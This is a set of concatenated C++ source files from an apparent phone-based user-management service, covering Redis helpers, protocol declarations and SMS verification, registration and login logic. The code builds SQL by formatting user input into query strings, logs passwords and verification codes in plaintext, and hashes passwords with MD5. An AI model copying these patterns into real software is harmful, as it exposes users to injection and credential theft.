reply = (redisReply*)redisCommand(_redis, "hmset %s %s %s %s %s %s %s %s %s %s %s %s %s %s %s %s %s %s %s %s %s %s %s %s %s %s %s", id.c_str(), keys[0].c_str(), values[0].c_str(), keys[1].c_str(), values[1].c_str(), keys[2].c_str(), values[2].c_str(), keys[3].c_str(), values[3].c_str(), keys[4].c_str(), values[4].c_str(), keys[5].c_str(), values[5].c_str(), keys[6].c_str(), values[6].c_str(), keys[7].c_str(), values[7].c_str(), keys[8].c_str(), values[8].c_str(), keys[9].c_str(), values[9].c_str(), keys[10].c_str(), values[10].c_str(), keys[11].c_str(), values[11].c_str(), keys[12].c_str(), values[12].c_str());
break;
case 14:
reply = (redisReply*)redisCommand(_redis, "hmset %s %s %s %s %s %s %s %s %s %s %s %s %s %s %s %s %s %s %s %s %s %s %s %s %s %s %s %s %s", id.c_str(), keys[0].c_str(), values[0].c_str(), keys[1].c_str(), values[1].c_str(), keys[2].c_str(), values[2].c_str(), keys[3].c_str(), values[3].c_str(), keys[4].c_str(), values[4].c_str(), keys[5].c_str(), values[5].c_str(), keys[6].c_str(), values[6].c_str(), keys[7].c_str(), values[7].c_str(), keys[8].c_str(), values[8].c_str(), keys[9].c_str(), values[9].c_str(), keys[10].c_str(), values[10].c_str(), keys[11].c_str(), values[11].c_str(), keys[12].c_str(), values[12].c_str(), keys[13].c_str(), values[13].c_str());
break;
case 15:
reply = (redisReply*)redisCommand(_redis, "hmset %s %s %s %s %s %s %s %s %s %s %s %s %s %s %s %s %s %s %s %s %s %s %s %s %s %s %s %s %s %s %s", id.c_str(), keys[0].c_str(), values[0].c_str(), keys[1].c_str(), values[1].c_str(), keys[2].c_str(), values[2].c_str(), keys[3].c_str(), values[3].c_str(), keys[4].c_str(), values[4].c_str(), keys[5].c_str(), values[5].c_str(), keys[6].c_str(), values[6].c_str(), keys[7].c_str(), values[7].c_str(), keys[8].c_str(), values[8].c_str(), keys[9].c_str(), values[9].c_str(), keys[10].c_str(), values[10].c_str(), keys[11].c_str(), values[11].c_str(), keys[12].c_str(), values[12].c_str(), keys[13].c_str(), values[13].c_str(), keys[14].c_str(), values[14].c_str());
break;
default:
err_info = "mhset error,keys is too long!";
return -4;
}
#else
size_t len = keys.size() * 2 + 2;
char ** argv = new char*[len];
size_t * argvlen = new size_t[len];
int j = 0;
argvlen[j] = 5;
argv[j] = new char[6];
memset((void *)argv[j], 0, argvlen[j]);
memcpy(argv[j], "hmset", 5);
j++;
argv[j] = new char[id.size() + 1];
argvlen[j] = id.size();
memset((void *)argv[j], 0, argvlen[j]);
memcpy(argv[j], id.data(), id.size());
j++;
for (size_t i = 0; i < keys.size(); ++i)
{
argvlen[j] = keys[i].size();
argv[j] = new char[argvlen[j] + 1];
memset((void *)argv[j], 0, argvlen[j]);
memcpy(argv[j], keys[i].data(), keys[i].size());
j++;
argvlen[j] = values[i].size();
argv[j] = new char[argvlen[j] + 1];
memset((void *)argv[j], 0, argvlen[j]);
memcpy(argv[j], values[i].data(), values[i].size());
j++;
}
redisReply *reply = (redisReply *)redisCommandArgv(_redis, len, const_cast<const char**>(argv), argvlen);
for (size_t i = 0; i < keys.size(); i++)
{
delete[] argv[i];
argv[i] = NULL;
}
delete[]argv;
delete[]argvlen;
argv = NULL;
#endif
if (!reply)
{
//如果redis server 停止,reply is null
XCP_LOGGER_INFO(&g_logger, "reply is null, pls check redis server(%s:%u).\n", _ip.c_str(), _port);
err_info = "reply is null, pls check redis server.test";
release();
return -5;
}
if ((reply->type == REDIS_REPLY_INTEGER) && (reply->integer != 1))
{
XCP_LOGGER_INFO(&g_logger, "redis set fail!id:%s,keys.size()=%zu\n",id.c_str(),keys.size());
err_info = "redis set fail!.";
freeReplyObject(reply);
return -6;
}
if (ttl > 0)
{
freeReplyObject(reply);
//设置TTL
reply = (redisReply*)redisCommand(_redis, "expire %s %d", id.c_str(), ttl);
if (!reply)
{
//如果redis server 停止,reply is null
XCP_LOGGER_INFO(&g_logger, "reply is null, pls check redis server(%s:%u).\n", _ip.c_str(), _port);
err_info = "reply is null, pls check redis server.";
release();
return -7;
}
else
{
if ((reply->type == REDIS_REPLY_INTEGER) && (reply->integer != 1))
{
XCP_LOGGER_INFO(&g_logger, "redis set fail!id:%s\n", id.c_str());
err_info = "redis set fail!.";
freeReplyObject(reply);
return -8;
}
}
}
freeReplyObject(reply);
return nRet;
}
int Redis_Mgt::del(const std::string &id, std::string &err_info)
{
int nRet = 0;
Thread_Mutex_Guard guard(_mutex);
if (!_valid || !_redis)
{
XCP_LOGGER_INFO(&g_logger, "redisContext is invalid, pls check redis server(%s:%u)\n", _ip.c_str(), _port);
err_info = "redis server error!";
return -1;
}
redisReply *reply = NULL;
reply = (redisReply*)redisCommand(_redis, "del %s", id.c_str());
if (reply && (reply->type == REDIS_REPLY_INTEGER) && (reply->integer == 1))
{
XCP_LOGGER_INFO(&g_logger, "remove id(%s) from redis", id.c_str());
}
else
{
//如果redis server 停止,reply is null
XCP_LOGGER_INFO(&g_logger, "reply is null, pls check redis server(%s:%u).\n", _ip.c_str(), _port);
release();
return -2;
}
freeReplyObject(reply);
return nRet;
}
<file_sep>/protocol.h
/**
* Licensed to the Apache Software Foundation (ASF) under one or more
* contributor license agreements. See the NOTICE file distributed with
* this work for additional information regarding copyright ownership.
* The ASF licenses this file to You under the Apache License, Version 2.0
* (the "License"); you may not use this file except in compliance with
* the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*
* Author: <EMAIL>
*/
#ifndef _PROTOCOL_H
#define _PROTOCOL_H
#include "base/base_common.h"
#include "comm/common.h"
#include "user_mgt.h"
#include "json-c/json.h"
USING_NS_BASE;
class XProtocol
{
public:
static int req_head(const std::string &req, std::string &method, unsigned long long ×tamp, unsigned int &req_id, std::string &msg_tag, unsigned long long &real_id, std::string &err_info);
static std::string rsp_msg(const std::string &method, const unsigned int req_id, const std::string &msg_tag,
const int code, const std::string &msg, const std::string &body="", bool is_object = false);
static int admin_head(const std::string &req, std::string &method, unsigned long long ×tamp, std::string &msg_tag, int &code, std::string &msg, std::string &err_info);
static std::string set_hb(const std::string &msg_tag, const unsigned int client_num);
static std::string set_register(const std::string &msg_tag, const std::string &worker_id,
const std::string &ip, const std::string &ip_out, const unsigned short port);
static std::string set_unregister(const std::string &msg_id, const std::string &worker_id);
static std::string get_server_access_req(const std::string &msg_id);
static int get_server_access_rsp(const std::string &req, std::map<std::string, std::vector<StSvr> > &svrs, std::string &err_info);
static int get_rsp_result(const std::string &req, std::string &err_info);
//uuid
static std::string get_uuid_req(const std::string &msg_tag, std::string &err_info);
static int get_uuid_rsp(const std::string &req, unsigned long long &uuid, std::string &err_info);
//====================获取手机验证码========================================
//解析Json
static int get_phone_code_req(const std::string &req, std::string &phone, int &type,std::string &err_info);
/**
* 解析短信平台返回的结果
*/
static int get_sms_rsp(const std::string &rsp, std::string &err_info);
static int check_phone_code_req(const std::string &req, std::string &phone, std::string &code, int &type, std::string &err_info);
static std::string check_phone_code_rsp(const std::string &secret);
static int register_user_req(const std::string &req, std::string &phone, std::string &secret,std::string &pwd, std::string &err_info);
static int login_code_req(const std::string &req, std::string &phone, std::string &code,std::string &err_info);
static std::string login_code_rsp(const unsigned long long user_id,const std::string &token);
static int login_pwd_req(const std::string &req, std::string &phone, std::string &pwd, std::string &err_info);
static std::string login_pwd_rsp(const unsigned long long user_id, const std::string &token);
static int auth_req(const std::string &req,unsigned long long &user_id,std::string &token, std::string &err_info);
static std::string auth_rsp(const unsigned long long &user_id,const std::string &token);
static int reset_pwd_req(const std::string &req, std::string &pwd,std::string &secret, std::string &err_info);
static std::string reset_pwd_rsp(const std::string &token);
static int set_pwd_req(const std::string &req,std::string &pwd, std::string &secret, std::string &err_info);
static std::string set_pwd_rsp(const std::string &account_token,const std::string &auth_token);
static int get_user_profile_req(const std::string &req, unsigned long long &user_id, std::string &err_info);
static std::string get_user_profile_rsp(const unsigned long long user_id,const UserAttr &user_attr);
static int update_user_profile_req(const std::string &req,std::string &name, std::string &nick, std::string &avatar,std::string &birthday,short &gender,std::string &err_info);
static int decode_token(const std::string &token, TokenInfo &token_info, std::string &err_info);
static std::string push_msg_login_req(const std::string &msg_tag, const unsigned long long &user_id);
static int push_msg_login_rsp(const std::string &rsp, int code, std::string &err_info);
static std::string push_msg_update_user_req(const std::string &msg_tag, const unsigned long long &user_id);
static int push_msg_update_user_rsp(const std::string &rsp, int code, std::string &err_info);
static std::string send_sms_req(const std::string &phone, const std::string &content, const std::string &channel, const std::string &msg_tag);
static int send_sms_rsp(const std::string &rsp, int &code, std::string &err_info);
static std::string get_user_profile_rsp(const std::string &token);
private:
//数据校验
static int check_user_name(const std::string &name, std::string &err_info);
static int check_nick_name(const std::string &nick, std::string &err_info);
static int check_pwd(const std::string &pwd, std::string &err_info);
static int check_secret(const std::string &secret, std::string &err_info);
static int check_token(const std::string &token, std::string &err_info);
static int check_phone_code(const std::string &code, std::string &err_info);
static int check_phone(const std::string &phone, std::string &err_info);
static int check_user_id(const unsigned long long &user_id, std::string &err_info);
static int check_avatar(const std::string &avatar, std::string &err_info);
static int check_birthday(const std::string &birthday, std::string &err_info);
static int check_gender(const int gender, std::string &err_info);
private:
static int get(const json_object *root, const std::string &name, std::string &value, std::string &err_info);
static int get(const json_object *root, const std::string &name, unsigned long long &value, std::string &err_info);
static int get(const json_object *root, const std::string &name, unsigned int &value, std::string &err_info);
static int get(const json_object *root, const std::string &name, int &value, std::string &err_info);
};
#endif
<file_sep>/redis_mgt.h
/**
* Licensed to the Apache Software Foundation (ASF) under one or more
* contributor license agreements. See the NOTICE file distributed with
* this work for additional information regarding copyright ownership.
* The ASF licenses this file to You under the Apache License, Version 2.0
* (the "License"); you may not use this file except in compliance with
* the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*
* Author: <EMAIL>
*/
#ifndef _REDIS_MGT_H
#define _REDIS_MGT_H
#include "base/base_thread_mutex.h"
#include <hiredis/hiredis.h>
#include "base/base_singleton_t.h"
#include "comm/common.h"
const int REDIS_ERROR_NOT_EXIST = -99001;//Redis 键值 不存在
USING_NS_BASE;
class Redis_Mgt
{
public:
Redis_Mgt();
virtual ~Redis_Mgt();
int init(const std::string &ip, const unsigned int port, const std::string &auth);
void release();
void check();
int connect();
int ping();
public:
int create_security_channel(const std::string &id, std::string &key, std::string &err_info);
int refresh_security_channel(const std::string &id, std::string &err_info);
/**
* 检查key是否存在
**/
int check_key_exist(const std::string &key, bool &is_exist, std::string &err_info);
int set_phone_code(const std::string &phone, const int &type,const std::string &code, const int ttl, std::string &err_info);
int hmget_string(const std::string &id, const std::string &key, std::string &value, std::string &err_info);
int set(const std::string &key, const std::string &value,std::string &err_info, unsigned int ttl = 0);
int get(const std::string &key, std::string &value, std::string &err_info);
int del(const std::string &id, std::string &err_info);
int hmget_arr(const std::string &id, const std::vector<std::string> &keys, std::vector<std::string> &values, std::string &err_info);
int hmset_arr(const std::string &id, const std::vector<std::string> &keys, std::vector<std::string> &values,std::string &err_info,unsigned int ttl = 0);
private:
redisContext *_redis; //需要确认是否是线程安全的
Thread_Mutex _mutex;
bool _valid;
std::string _ip;
unsigned short _port;
std::string _auth;
};
#define PSGT_Redis_Mgt Singleton_T<Redis_Mgt>::getInstance()
#endif
<file_sep>/user_mgt.cpp
#include "base/base_convert.h"
#include "base/base_string.h"
#include "base/base_logger.h"
#include "base/base_xml_parser.h"
#include "user_mgt.h"
#include "redis_mgt.h"
#include "base/base_time.h"
#include "base/base_md5.h"
#include "conf_mgt.h"
#include "protocol.h"
#include "conn.h"
#include "conn_mgt_lb.h"
#include "base/base_base64.h"
#include "base/base_cryptopp.h"
extern Logger g_logger;
extern mysql_mgt g_mysql_mgt;
extern Conn_Mgt_LB g_uid_conn;
extern Conn_Mgt_LB g_push_conn;
extern Conn_Mgt_LB g_sms_conn;
User_Mgt::User_Mgt()
{
}
User_Mgt::~User_Mgt()
{
}
/**
send sms Api
**POST http ://api.evergrande.cn//sms/index/send
参数:
mobile = 1123 & key = keys
content
keys 时间戳 + "|" + md5(加密串 + 时间戳)
**/
int User_Mgt::get_phone_code(const std::string &phone, const PhoneCodeType type, const std::string &msg_tag, std::string &err_info)
{
XCP_LOGGER_INFO(&g_logger, "get_phone_code,phone:%s,type:%d,msg_tag:%s\n", phone.c_str(), (int)type, msg_tag.c_str());
//1,检查用户是否可以发送验证码
std::stringstream ssKey;
ssKey
<< UM_PHONE_CODE << phone << "_" << type;
bool is_exist = false;
int nRet = PSGT_Redis_Mgt->check_key_exist(ssKey.str(), is_exist, err_info);
if (nRet != 0)
{
XCP_LOGGER_ERROR(&g_logger, "get_phone_code,check_key_exist fail!nRet:%d,err_info:%s,msg_tag:%s\n", nRet, err_info.c_str(), msg_tag.c_str());
return ERR_REDIS_NET_ERROR;
}
XCP_LOGGER_INFO(&g_logger, "get_phone_code,check_key_exist succ!nRet:%d,err_info:%s,is_exist:%d,msg_tag:%s\n", nRet, err_info.c_str(), is_exist, msg_tag.c_str());
if (is_exist == true)
{
err_info = "send message limit!";
return ERR_GET_PHONE_CODE_LIMIT;
}
//2,判断手机号码是否注册,要考虑到性能问题,是否需要做缓存
mysql_conn_Ptr mysql_conn;
if (!g_mysql_mgt.get_conn(mysql_conn))
{
XCP_LOGGER_ERROR(&g_logger, "get mysql conn failed,msg_tag:%s\n", msg_tag.c_str());
err_info = "get mysql conn failed!";
return ERR_MYSQL_NET_ERROR;
}
MySQL_Guard guard(mysql_conn);
char select_sql[SQL_LEN] = { 0 };
snprintf(select_sql, sizeof(select_sql), "select F_uid from tbl_user_map where F_phone_num=\"%s\"", phone.c_str());
MySQL_Row_Set row_set;
nRet = mysql_conn->query_sql(select_sql, row_set);
if (nRet != 0)
{
XCP_LOGGER_ERROR(&g_logger, "query_sql failed, ret:%d,sql:%s,msg_tag:%s\n", nRet, select_sql, msg_tag.c_str());
err_info = "query db failed!";
return ERR_MYSQL_NET_ERROR;
}
if (type == PHONE_CODE_LOGIN || type == PHONE_CODE_RESET_PWD)
{
//表示无数据
if (row_set.row_count() == 0)
{
XCP_LOGGER_ERROR(&g_logger, "phone number not registe,msg_tag:%s\n", msg_tag.c_str());
err_info = "phone number did not register";
return ERR_USER_PHONE_NOT_REGISTE;
}
}
else {
//表示无数据
if (row_set.row_count() != 0)
{
XCP_LOGGER_ERROR(&g_logger, "phone number registerd,msg_tag:%s\n", msg_tag.c_str());
err_info = "phone number had register";
return ERR_USER_PHONE_REGISTED;
}
}
std::string code = generate_rand_num(PHONE_CODE_LEN);
std::stringstream ss_content;
ss_content
<< "手机验证码:[" << code << "]";
if (type == PHONE_CODE_REGISTER)
{
ss_content
<< ",此验证码仅用于用户注册!";
}
if (type == PHONE_CODE_LOGIN)
{
ss_content
<< ",此验证码仅用于用户登录!";
}
if (type == PHONE_CODE_RESET_PWD)
{
ss_content
<< ",此验证码仅用于重置密码!";
}
XCP_LOGGER_INFO(&g_logger, "get_phone_code,phone:%s,code:%s,msg_tag:%s\n", phone.c_str(), code.c_str(), msg_tag.c_str());
Conn_Ptr sms_conn;
if (!g_sms_conn.get_conn(sms_conn))
{
XCP_LOGGER_ERROR(&g_logger, "get sms conn failed.msg_tag:%s\n", msg_tag.c_str());
err_info = "get sms conn failed!";
return ERR_INNER_SVR_NET_ERROR;
}
nRet = sms_conn->send_sms(msg_tag, phone, ss_content.str(), err_info);
if (nRet != 0)
{
XCP_LOGGER_ERROR(&g_logger, "send sms fail, ret:%d, err_info:%s,msg_tag:%s\n", nRet, err_info.c_str(),msg_tag.c_str());
err_info = "send sms failed!";
return ERR_GET_PHONE_CODE_SEND_SMS_ERROR;
}
XCP_LOGGER_INFO(&g_logger, "get_phone_code,send sms succ,msg_tag:%s\n", msg_tag.c_str());
//set redis
nRet = PSGT_Redis_Mgt->set_phone_code(phone, type, code, PHONE_CODE_TTL, err_info);
if (nRet != 0)
{
XCP_LOGGER_ERROR(&g_logger, "get_phone_code,set redis fail,phone:%s,type:%d,code:%s,ttl:%d,nRet:%d,msg_tag:%s\n", phone.c_str(), (int)type, code.c_str(), PHONE_CODE_TTL, nRet, msg_tag.c_str());
err_info = "set redis fail!";
return ERR_REDIS_NET_ERROR;
}
XCP_LOGGER_INFO(&g_logger, "get_phone_code,succ!phone:%s,type:%d,code:%s,ttl:%d,nRet:%d,msg_tag:%s\n", phone.c_str(), (int)type, code.c_str(), PHONE_CODE_TTL, nRet, msg_tag.c_str());
err_info = "success";
return 0;
}
int User_Mgt::check_phone_code(const std::string &phone, const std::string &code, const PhoneCodeType type, std::string &secret, const std::string &msg_tag, std::string &err_info)
{
//获取验证码
//1,检查用户是否可以发送验证码
XCP_LOGGER_INFO(&g_logger, "check_phone_code,phone:%s,code:%s,secret:%s,msg_tag:%s\n", phone.c_str(), code.c_str(), secret.c_str(), msg_tag.c_str());
std::stringstream ssKey;
ssKey
<< UM_PHONE_CODE << phone << "_" << type;
std::string real_code;
int nRet = PSGT_Redis_Mgt->hmget_string(ssKey.str().c_str(), "code", real_code, err_info);
if (nRet == REDIS_ERROR_NOT_EXIST)
{
XCP_LOGGER_ERROR(&g_logger, "check_phone_code,code not exist!,msg_tag:%s\n", msg_tag.c_str());
err_info = "code expired";
return ERR_CHECK_PHONE_CODE_NOT_EXIST;
}
if (nRet != 0)
{
return ERR_REDIS_NET_ERROR;
}
if (code != real_code)
{
XCP_LOGGER_ERROR(&g_logger, "check_phone_code,nRet:%d,code:%s,real_code:%s,msg_tag:%s\n", nRet, code.c_str(), real_code.c_str(), msg_tag.c_str());
//验证码验证错误
if (err_info.empty())
{
err_info = "phone code error,please retry later!";
}
return ERR_CHECK_PHONE_CODE_NOT_CORRECT;
}
XCP_LOGGER_INFO(&g_logger, "check_phone_code ok,real_code:%s,msg_tag:%s\n", real_code.c_str(), msg_tag.c_str());
secret = generate_code_secret(code);
ssKey.str("");
ssKey
<< UM_PHONE_SECRET << secret << "_" << type;
nRet = PSGT_Redis_Mgt->set(ssKey.str(), phone, err_info, PHONE_CODE_SECRET_TTL);
if (nRet != 0)
{
XCP_LOGGER_ERROR(&g_logger, "check_phone_code ,set cache fail,nRet:%d,err_info:%s,msg_tag:%s\n", nRet, err_info.c_str(), msg_tag.c_str());
return ERR_REDIS_NET_ERROR;
}
XCP_LOGGER_INFO(&g_logger, "check_phone_code ok,msg_tag:%s\n", msg_tag.c_str());
err_info = "success";
return 0;
}
int User_Mgt::register_user(const std::string &phone, const std::string &secret, const std::string &pwd, const std::string &msg_tag, unsigned long long &uuid, std::string &salt, std::string &err_info)
{
XCP_LOGGER_INFO(&g_logger, "register_user,phone:%s,secret:%s,pwd:%s,uuid:%llu,msg_tag:%s\n", phone.c_str(), secret.c_str(), pwd.c_str(), uuid, msg_tag.c_str());
//检查验证码是否存在
std::stringstream ssKey;
ssKey
<< UM_PHONE_SECRET << secret << "_" << PHONE_CODE_REGISTER;
std::string real_phone;
int nRet = PSGT_Redis_Mgt->get(ssKey.str().c_str(), real_phone, err_info);
if (nRet != 0)
{
return ERR_REDIS_NET_ERROR;
}
if (real_phone.empty())
{
err_info = "can not found the secret ticket of register!";
XCP_LOGGER_ERROR(&g_logger, "can not found the secret ticket of register! real_phone:%s,msg_tag:%s\n", real_phone.c_str(), msg_tag.c_str());
return ERR_SECRET_EXPIRED;
}
if (phone != real_phone)
{
XCP_LOGGER_ERROR(&g_logger, "phone number not register!,real_phone: %s,phone:%s,msg_tag:%s\n", real_phone.c_str(), phone.c_str(), msg_tag.c_str());
err_info = "please get phone code again!";
return ERR_SECRET_INVALID;
}
XCP_LOGGER_INFO(&g_logger, "check secret ok!msg_tag:%s\n", msg_tag.c_str());
//check the phone number wether was used before
mysql_conn_Ptr mysql_conn;
if (!g_mysql_mgt.get_conn(mysql_conn))
{
XCP_LOGGER_INFO(&g_logger, "get mysql conn failed.msg_tag:%s\n", msg_tag.c_str());
err_info = "get mysql conn failed!";
return ERR_MYSQL_NET_ERROR;
}
MySQL_Guard guard(mysql_conn);
char select_sql[SQL_LEN] = { 0 };
snprintf(select_sql, sizeof(select_sql), "select count(*) as num from tbl_user_map where F_phone_num=\"%s\"", phone.c_str());
MySQL_Row_Set row_set;
nRet = mysql_conn->query_sql(select_sql, row_set);
if (nRet != 0)
{
XCP_LOGGER_ERROR(&g_logger, "query_sql failed, ret:%d,sql:%s,msg_tag:%s\n", nRet, select_sql, msg_tag.c_str());
err_info = "squery_sql fail!";
return ERR_MYSQL_NET_ERROR;
}
//表示无数据
if (row_set.row_count() > 0 && row_set[0][0] != "0")
{
XCP_LOGGER_ERROR(&g_logger, "phone number used before,phone:%s,sql:%s,msg_tag:%s\n", phone.c_str(), select_sql, msg_tag.c_str());
err_info = "phone number is used before!";
return ERR_USER_PHONE_NOT_REGISTE;
}
Conn_Ptr uid_conn;
if (!g_uid_conn.get_conn(uid_conn))
{
XCP_LOGGER_ERROR(&g_logger, "get uid conn failed.msg_tag:%s\n", msg_tag.c_str());
err_info = "get uid conn failed!";
return ERR_INNER_SVR_NET_ERROR;
}
uuid = 0;
nRet = uid_conn->get_uuid(msg_tag, uuid, err_info);
if (nRet != 0)
{
XCP_LOGGER_ERROR(&g_logger, "get uid failed, ret:%d, err_info:%s,msg_tag:%s\n", nRet, err_info.c_str(),msg_tag.c_str());
err_info = "query uuid svr failed!";
return ERR_REGISTER_GET_UID_FAIL;
}
XCP_LOGGER_INFO(&g_logger, "get uid success, uuid:%llu,msg_tag:%s\n", uuid, msg_tag.c_str());
salt = generate_rand_str(PWD_SALT_LEN);
std::string pwd_src = pwd + salt;
std::string md5_pwd = md5(pwd_src.c_str(), pwd_src.length());
char sql[SQL_LEN] = { 0 };
std::string table_name = get_table_name(uuid, "tbl_user_info");
unsigned long long create_at = getTimestamp();
snprintf(sql, sizeof(sql), "insert into %s (`F_uid`,`F_phone_num`,`F_password`,`F_salt`,`F_created_at`) value(%llu,\"%s\",\"%s\",\"%s\",%llu)", table_name.c_str(), uuid, phone.c_str(), md5_pwd.c_str(), salt.c_str(), create_at);
XCP_LOGGER_INFO(&g_logger, "user register sql:%s\n,msg_tag:%s", sql, msg_tag.c_str());
unsigned long long last_insert_id = 0;
unsigned long long affected_rows = 0;
nRet = mysql_conn->execute_sql(sql, last_insert_id, affected_rows);
if (nRet != 0 || affected_rows != 1)
{
XCP_LOGGER_ERROR(&g_logger, "execute_sql user register fail!sql:%s,ret:%d,msg_tag:%s\n", sql, nRet, msg_tag.c_str());
err_info = "db create user failed!.";
return ERR_MYSQL_NET_ERROR;
}
//写入映射表
char insert_sql[SQL_LEN] = { 0 };
snprintf(insert_sql, sizeof(insert_sql), "insert into tbl_user_map (`F_uid`,`F_phone_num`) value(%llu,\"%s\")", uuid, phone.c_str());
last_insert_id = 0;
affected_rows = 0;
nRet = mysql_conn->execute_sql(insert_sql, last_insert_id, affected_rows);
if (nRet != 0 || affected_rows != 1)
{
XCP_LOGGER_ERROR(&g_logger, "execute_sql user register fail!sql:%s,ret:%d,msg_tag:%s\n", insert_sql, nRet, msg_tag.c_str());
err_info = "insert data to tbl_user_map failed!";
return ERR_MYSQL_NET_ERROR;
}
nRet = refresh_user_cache(uuid, mysql_conn, msg_tag);
/**
//设置用户的cache
std::vector<std::string> keys;
std::vector<std::string> values;
keys.push_back("phone");
keys.push_back("password");
keys.push_back("salt");
keys.push_back("create_at");
values.push_back(phone);
values.push_back(md5_pwd);
values.push_back(salt);
std::stringstream ss_timestamp;
ss_timestamp
<< create_at;
values.push_back(ss_timestamp.str());
std::stringstream ss_redis_id;
ss_redis_id
<< UM_REDIS_USER_PREFIX << uuid;
nRet = PSGT_Redis_Mgt->hmset_arr(ss_redis_id.str().c_str(), keys, values, err_info);
if (nRet != 0)
{
XCP_LOGGER_ERROR(&g_logger, "user register success,set user cache failed!key:%s,nRet:%d,msg_tag:%s\n", ss_redis_id.str().c_str(),nRet,msg_tag.c_str());
nRet = PSGT_Redis_Mgt->del(ss_redis_id.str().c_str(), err_info);
XCP_LOGGER_ERROR(&g_logger, "user register,set cache fail,del cache. key:%s,nRet:%d,msg_tag:%s\n", ss_redis_id.str().c_str(),nRet, msg_tag.c_str());
}
XCP_LOGGER_INFO(&g_logger, "user register success!user_id:%llu,password:%s,salt:%s,msg_tag:%s",uuid,md5_pwd.c_str(),salt.c_str(),msg_tag.c_str());
**/
return 0;
}
int User_Mgt::login_code(const std::string &phone, const std::string &code, unsigned long long &user_id, std::string &token, const std::string &msg_tag, std::string &err_info)
{
XCP_LOGGER_INFO(&g_logger, "login_code,phone:%s,code:%s,user_id:%llu,token:%s,msg_tag:%s\n", phone.c_str(), code.c_str(), user_id, token.c_str(), msg_tag.c_str());
//检查用户的验证码是否存在
std::stringstream ss_redis_id;
ss_redis_id
<< UM_PHONE_CODE
<< phone
<< "_" << PHONE_CODE_LOGIN;
std::vector<std::string> keys;
//code %s retry %d created
keys.push_back("code");
keys.push_back("retry");
keys.push_back("created");
std::vector<std::string> values;
int nRet = PSGT_Redis_Mgt->hmget_arr(ss_redis_id.str().c_str(), keys, values, err_info);
if (nRet == REDIS_ERROR_NOT_EXIST)
{
XCP_LOGGER_ERROR(&g_logger, "login code expired!nRet:%d,msg_tag:%s\n", nRet, msg_tag.c_str());
err_info = "login code expired";
return ERR_CODE_EXPIRED;
}
if (nRet != 0)
{
XCP_LOGGER_ERROR(&g_logger, "login_code,hmget_arr fail!,nRet:%d,msg_tag:%s\n", nRet, msg_tag.c_str());
return ERR_REDIS_NET_ERROR;
}
std::string real_code = values[0];
unsigned int try_times = atoi(values[1].c_str());
XCP_LOGGER_INFO(&g_logger, "try_times:%d,real_code:%s,msg_tag:%s\n", try_times, real_code.c_str(), msg_tag.c_str());
if (try_times > CODE_LOGIN_MAX_TRY_TIMES)
{
XCP_LOGGER_ERROR(&g_logger, "try_times:%d,real_code:%s,msg_tag:%s\n", try_times, real_code.c_str(), msg_tag.c_str());
err_info = "please get phone code and login again!";
return ERR_LOGIN_CODE_TRY_LIMIT;
}
XCP_LOGGER_INFO(&g_logger, "real_code:%s,msg_tag:%s\n", real_code.c_str(), msg_tag.c_str());
if (real_code != code)
{
//修改次数
keys.clear();
values.clear();
keys.push_back("retry");
std::stringstream retry;
retry
<< try_times + 1;
values.push_back(retry.str());
nRet = PSGT_Redis_Mgt->hmset_arr(ss_redis_id.str().c_str(), keys, values, err_info);
if (nRet != 0)
{
XCP_LOGGER_ERROR(&g_logger, "update try_times failed!try_times:%d,real_code:%s,phone:%s,msg_tag:%s\n", try_times, real_code.c_str(), phone.c_str(), msg_tag.c_str());
}
err_info = "code error!";
return ERR_CODE_NOT_CORRECT;
}
XCP_LOGGER_INFO(&g_logger, "check code login success,msg_tag:%s\n", msg_tag.c_str());
//登录,去查用户的缓存
//根据手机号码去查用户的user_id
//check the phone number wether was used before
mysql_conn_Ptr mysql_conn;
if (!g_mysql_mgt.get_conn(mysql_conn))
{
XCP_LOGGER_ERROR(&g_logger, "get mysql conn failed,msg_tag:%s\n", msg_tag.c_str());
err_info = "get mysql conn failed!";
return ERR_MYSQL_NET_ERROR;
}
MySQL_Guard guard(mysql_conn);
char select_sql[SQL_LEN] = { 0 };
snprintf(select_sql, sizeof(select_sql), "select F_uid from tbl_user_map where F_phone_num=\"%s\"", phone.c_str());
MySQL_Row_Set row_set;
nRet = mysql_conn->query_sql(select_sql, row_set);
if (nRet != 0)
{
XCP_LOGGER_ERROR(&g_logger, "query_sql failed, ret:%d,sql:%s,msg_tag:%s\n", nRet, select_sql, msg_tag.c_str());
err_info = "query db failed!";
return ERR_MYSQL_NET_ERROR;
}
//表示无数据
if (row_set.row_count() == 0)
{
XCP_LOGGER_ERROR(&g_logger, "phone number used before,msg_tag:%s\n", msg_tag.c_str());
err_info = "phone number did not register";
return ERR_USER_PHONE_NOT_REGISTE;
}
std::string ss_user_id = row_set[0][0];
if (ss_user_id.empty())
{
err_info = "user_id is empty!";
XCP_LOGGER_ERROR(&g_logger, "user_id is empty,msg_tag:%s\n", msg_tag.c_str());
return ERR_SYSTEM;
}
user_id = atoll(ss_user_id.c_str());
XCP_LOGGER_INFO(&g_logger, "query db success,phone:%s,user_id:%llu,msg_tag:%s\n", phone.c_str(), user_id, msg_tag.c_str());
//查询redis
ss_redis_id.str("");
ss_redis_id
<< UM_REDIS_USER_PREFIX << ss_user_id;
keys.clear();
values.clear();
keys.push_back("password");
keys.push_back("forbid_at");
nRet = PSGT_Redis_Mgt->hmget_arr(ss_redis_id.str().c_str(), keys, values, err_info);
std::string pwd;
std::string forbid_at;
if (nRet == 0 && !values[0].empty())
{
pwd = values[0];
forbid_at = values[1];
}
else {
XCP_LOGGER_ERROR(&g_logger, "get pwd from cache fail!redis_id:%s,msg_tag:%s\n", ss_redis_id.str().c_str(), msg_tag.c_str());
//从mysql 中获取数据
char select_sql[SQL_LEN] = { 0 };
std::string table_name = get_table_name(user_id, "tbl_user_info");
snprintf(select_sql, sizeof(select_sql), "select F_password,F_forbid_at from %s where F_uid=%llu", table_name.c_str(), user_id);
MySQL_Row_Set row_set;
nRet = mysql_conn->query_sql(select_sql, row_set);
if (nRet != 0 || row_set.row_count() != 1)
{
